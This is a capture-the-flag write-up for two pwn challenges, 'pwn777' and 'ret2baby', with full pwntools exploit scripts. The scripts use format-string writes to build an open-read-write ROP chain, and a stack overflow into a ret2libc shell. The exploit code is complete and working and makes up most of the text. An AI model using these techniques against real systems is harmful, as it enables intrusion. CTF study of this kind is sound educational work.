[pwn] 2021 geek challenge (part)

[pwn] 2021 geek challenge (part)

1,pwn777

0x1

How to say, this problem is to write rop chain with fmt.

But it's also the first time to see this kind of fmt, which can be regarded as a new question type.

0x2

We open IDA for reverse analysis

Just the two main functions, let me be the first level and the second level

First enter the game function, and it is found that the last 32 bits of seed can be covered by buf. The parameters of srand function are int type, so we can cover seed through buf, import ctypes library, use libc given by the title to obtain random numbers, and repeat it 10 times.

0x3

The second level is a little free. This freedom depends on how you think of the attack point

First, judge whether the first 0xf bit of the bss segment buf is the jiaraniloveyou ~ string. If yes, break the loop instead of always using the fmt function

Then there is the fmt function. Here is a myread function written by myself. I don't care. I can write 0x288 data to buf. When the reading ends, the core fmt will follow

0x4

So how to use the above?

We first change the seed and import it into the c library to steal random numbers. The first step is to close pass

In the second level, we first read several addresses on the stack and read one__ libc_start_main divulges the libc address, and then divulges the stack address.

Then the RET of the last while loop break_ Addr performs rop. The important point here is that fmt needs to be performed many times, and an address on the stack needs to be written to point to a target address first, and then we overwrite the pointing address of this address.

Anyway, it was hard adjusted. It took all night.

At first, I wanted to write shellcode or rop to the buf segment, and finally ret_addr points to our shellcode or rop on the buf. Later, it is found that the bss of the buf does not have executable permission, so it is finally decided to write rop on the stack.

In addition, the program opens the sandbox and ban execve, so it finally uses orw to output flag.

get flag

exp

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/10/26 16:36:09
# -----------------------------------

from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os
from ctypes import *

def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)

def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> {times}')
            pwn()
        except:
            io.close()
            io = getprocess()

def init(binary):
    global arglen, elf, path , libc, context, io
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    context.terminal = ['gnome-terminal','-x', 'bash','-c']
    elf = ELF(binary)
    # path = libcpath(binary)
    # libc = ELF(path)
    # libc.path = path
    context.arch = elfbit(binary)
    io = getprocess()

s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('	', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')

# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './pwn'
init(binary)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
libc.path = "/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"

def pwn():
    payload = p64(0xdeadbeef)+p64(0)*2 + p32(0)
    sla("name",payload)
    c = cdll.LoadLibrary(libc.path)
    c.srand(0)
    for i in range(10):
        sla("number:",str(c.rand()))    

    sl("%13$p%p%6$p")
    ru("0x")
    libc.address = i16(r(12)) - (0x7fed9a1e0840 - 0x7fed9a1c0000)
    leak("base",libc.address)

    ru("0x")
    buf_addr = i16(r(12)) - 0x7
    leak("buf_addr",buf_addr)
    buf_offset = int("0x"+hex(buf_addr)[-4:],16)
    leak("buf_offset",buf_offset)
    pie = buf_addr - (0x55db67b86064-0x55db67b82000)
    leak("pie",pie)
    ru("0x")
    stack = i16(r(12)) + 0x8
    leak("stack",stack)
    stack_offset = int("0x"+hex(stack)[-2:],16)
    leak("stack_offset",stack_offset)
    
    # pop rdi ret
    pop_rdi = pie + (0x55f731e05713-0x55f731e04000)
    pop_rdi_offset = int("0x"+hex(pop_rdi)[-4:],16)
    sl(f"%{stack_offset}c%6$hhn")
    sl(f"%{pop_rdi_offset}c%10$hn")
    
    # 0
    sl(f"%{stack_offset+8}c%6$hhn")
    sl("%10$n")
    sl(f"%{stack_offset+8+4}c%6$hhn")
    sl("%10$n")
    
    # pop rdx ret
    pop_rdx = next(libc.search(asm("pop rdx; ret")))
    pop_rdx_offset = int("0x"+hex(pop_rdx)[-4:],16)
    pop_rdx_offset2 = int("0x"+hex(pop_rdx)[8:10],16)

    sl(f"%{stack_offset+8*2}c%6$hhn")
    sl(f"%{pop_rdx_offset}c%10$hn")
    sl(f"%{stack_offset+8*2+2}c%6$hhn")
    sl(f"%{pop_rdx_offset2}c%10$hhn")
    
    # 0x100
    sl(f"%{stack_offset+8*3}c%6$hhn")
    sl("%256c%10$n")
    
    # pop rsi
    pop_rsi = next(libc.search(asm("pop rsi; ret")))
    pop_rsi_offset3 = int("0x"+hex(pop_rsi)[2:6],16)
    pop_rsi_offset2 = int("0x"+hex(pop_rsi)[6:10],16)
    pop_rsi_offset1 = int("0x"+hex(pop_rsi)[-4:],16)
    sl(f"%{stack_offset+8*4}c%6$hhn")
    sl(f"%{pop_rsi_offset1}c%10$hn")
    sl(f"%{stack_offset+8*4+2}c%6$hhn")
    sl(f"%{pop_rsi_offset2}c%10$hn")
    sl(f"%{stack_offset+8*4+4}c%6$hhn")
    sl(f"%{pop_rsi_offset3}c%10$hn")
    
    # target_addr
    target_addr = stack+56
    target_offset3 = int("0x"+hex(target_addr)[2:6],16)
    target_offset2 = int("0x"+hex(target_addr)[6:10],16)
    target_offset1 = int("0x"+hex(target_addr)[-4:],16)
    sl(f"%{stack_offset+8*5}c%6$hhn")
    sl(f"%{target_offset1}c%10$hn")
    sl(f"%{stack_offset+8*5+2}c%6$hhn")
    sl(f"%{target_offset2}c%10$hn")
    sl(f"%{stack_offset+8*5+4}c%6$hhn")
    sl(f"%{target_offset3}c%10$hn")
    
    # read
    read_addr = libc.sym["read"]
    read_offset1 = int("0x"+hex(read_addr)[-4:],16)
    read_offset2 = int("0x"+hex(read_addr)[6:10],16)
    read_offset3 = int("0x"+hex(read_addr)[2:6],16)
    sl(f"%{stack_offset+8*6}c%6$hhn")
    sl(f"%{read_offset1}c%10$hn")
    sl(f"%{stack_offset+8*6+2}c%6$hhn")
    sl(f"%{read_offset2}c%10$hn")
    sl(f"%{stack_offset+8*6+4}c%6$hhn")
    sl(f"%{read_offset3}c%10$hn")
    
    # jiaran
    sl("jiaraniloveyou~")
    
    # orw
    flag_addr = target_addr + 0x80
    open_addr = libc.sym["open"]
    puts_addr = libc.sym["puts"]
    read_addr = libc.sym["read"]
    pop_rdi = next(libc.search(asm("pop rdi; ret")))
    pop_rsi = next(libc.search(asm("pop rsi; ret")))
    pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))
    orw = flat([
        pop_rdi, flag_addr, pop_rsi, 0, open_addr,
        pop_rdi, 3, pop_rsi, flag_addr, pop_rdx__rbx_ret, 0x100, 0, read_addr,
        pop_rdi, flag_addr, puts_addr
    ])+ b"flag\x00"
    s(orw)
    
    ru("jiaraniloveyou~")
pwn()

ia()

2,ret2baby

0x1

0x2

This problem is divided into two parts. The first part is how to enter stack overflow? The second part is a simple rop construct execution system("/bin/sh")

Analyzing the main game function, let's enter a1, and then enter number[a1], if number[a1] == magic_number, then scanf stack overflow can be performed.

Let's look at the distribution of number dynamically. We can see that number[20] is magic_number, so we enter number[20]=0 for the first time, and then the next rand is 0 = = 0 no matter what it is, so we enter the scanf function

After that is the construction of the basic rop chain

0x3

exp

#!/usr/bin/python
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/11/05 17:06:57
# -----------------------------------

from pwn import *
from ctypes import *
from LibcSearcher import *
import sys, subprocess, warnings, os

def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)

def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> {times}')
            pwn()
        except:
            io.close()
            io = getprocess()

def init(binary):
    global arglen, elf, path , libc, context, io, Clib
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    context.terminal = ['gnome-terminal','-x', 'bash','-c']
    elf = ELF(binary)
    path = libcpath(binary)
    libc = ELF(path)
    libc.path = path
    Clib = cdll.LoadLibrary(libc.path) if context.arch == 'amd64' else null
    context.arch = elfbit(binary)
    io = getprocess()

s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('	', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')

# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './ret2'
init(binary)

libc = ELF("./libc-2.27.so")

sla("please input your position","20")
sla("plz input your value","0")
ru("0x")
system_addr = i16(r(12))
libc.address = system_addr - libc.sym["system"]
leak("libc_base",libc.address)
binsh_addr = next(libc.search(b"/bin/sh"))
pop_rdi_ret = next(libc.search(asm("pop rdi; ret")))
ret = next(libc.search(asm("ret")))

payload = b"b"*0x12 + b"woodwood" + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sl(payload)

# dbg()

ia()

Tags: CTF pwn wp

Posted on Mon, 29 Nov 2021 01:09:07 -0500 by jasonhardwick